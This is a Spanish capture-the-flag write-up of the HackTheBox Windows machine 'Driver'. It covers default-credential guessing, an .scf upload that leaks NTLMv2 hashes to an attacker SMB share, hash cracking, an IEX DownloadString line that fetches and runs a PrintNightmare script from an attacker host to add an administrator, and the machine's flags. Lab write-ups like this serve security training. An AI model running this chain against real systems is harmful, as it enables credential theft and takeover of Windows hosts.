HackTheBox - Driver
Máquina Windows de nivel Easy de HackTheBox.
Técnicas usadas: File Upload (scf), PrintNightmare (CVE-2021-1675)
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
c. Si vamos al sitio nos pedirá credenciales, y al no disponer de ninguna, usamos las más comunes *admin:admin, root:root, admin:password
- Cosas más importantes
- Podemos subir cualquier tipo de archivo.
- El mensaje en la página web nos dice que al momento de subir un fichero, el equipo de testing lo revisará.
Después de intentar subir múltiples ficheros y no conseguir nada, investigamos formas de obtener una reverse shell o credenciales de usuario.
Los archivos .scf sirven para la configuración de la apariencia de Windows.
Subimos un fichero .scf con el siguiente contenido
[Shell]
Command=2
IconFile=\\<IP tun0>\share\favicon.ico
[Taskbar]
Command=ToggleDesktop
En el momento en el que alguien acceda a este fichero, se emitirá una solicitud a un servidor que estará en nuestro control, aquí se producirá una autenticación y podremos el hash NLTMv2 del usuario.
Antes de subir el fichero montamos un servidor SMB: impacket-smbserver Share ./ -smb2support
, ahora subimos el fichero .scf
Crackeamos el hash con john
1
2
john hash -w=/usr/share/wordlists/rockyou.txt
liltony
d. Ahora, con las credenciales anteriores nos podemos conectar en el servicio WinRM
1
evil-winrm -i <IP Driver> -u 'tony' -p 'liltony'
Escalada de Privilegios 💹
a. Subimos el script WinPEAS para analizar posibles vectores de escalación de privilegios
1
2
3
4
*Evil-WinRM* PS C:\Users\tony> .\winPEASx64.exe
<SNIP>
Listening 1160 spoolsv
El contexto de la Máquina va de impresoras, así que buscamos algo relacionado a este servicio e impresoras. PrintNightmare
b. Ahora, nos descargamos el script de Github y montamos un servidor con python python -m http.server 80
. Ahora, desde evil-winrm realizamos una petición y ejecutamos el script directamente, todo esto con el fin de bypassear una restricción que se presenta al ejecutar el script
1
*Evil-WinRM* PS C:\Users\tony> IEX(New-Object Net.WebClient).DownloadString('http://<IP tun0>/CVE-2021-1675.ps1')
Ahora creamos un usuario el cual será añadido al grupo Administrators
1 2 3 4 5 6 7 8
*Evil-WinRM* PS C:\Users\tony> Invoke-Nightmare -DriverName "Xerox" -NewUser "estx" -NewPassword "estx@@" *Evil-WinRM* PS C:\Users> net localgroup Administrators Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator estx
c. Estas credenciales nos sirven para conectarnos con evil-winrm
1
2
3
4
5
6
7
evil-winrm -i <IP Driver> -u 'estx' -p 'estx@@'
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
b05bd2852ace7cda4c6e7f262e1930d9
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
84c4d9cd404904925830d6ac28b7ec33